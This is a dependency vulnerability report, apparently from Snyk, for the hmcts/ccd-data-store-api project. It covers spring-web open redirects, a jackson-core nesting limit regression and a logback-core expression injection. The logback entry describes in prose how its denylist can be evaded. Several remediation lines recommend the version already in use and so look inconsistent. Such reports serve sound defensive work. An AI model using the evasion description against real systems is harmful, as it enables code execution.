  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.

Remediation

Upgrade org.springframework:spring-web to version 5.3.32, 6.0.17, 6.1.4 or higher.

References

high severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when using UriComponentsBuilder to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.33, 6.0.18, 6.1.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity
new

Expression Injection

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-core@1.5.27, ch.qos.logback:logback-classic@1.5.27 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to ch.qos.logback:logback-core@1.5.36.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.36.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Expression Injection in the Janino-evaluated condition attribute of <if> configuration elements, handled by IfModelHandler, whose denylist blocked only the literal new operator. A user who can modify the logback configuration can execute arbitrary code by writing an <if> condition that evades that denylist, either through references it did not cover such as Runtime or springframework, or through Unicode escape sequences like \u that reconstruct the blocked new operator. Exploitation requires write access to the logback configuration and the use of conditional <if> processing with Janino present on the classpath.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.36 or higher.

References

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-entitlement
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-grok
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-logging
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
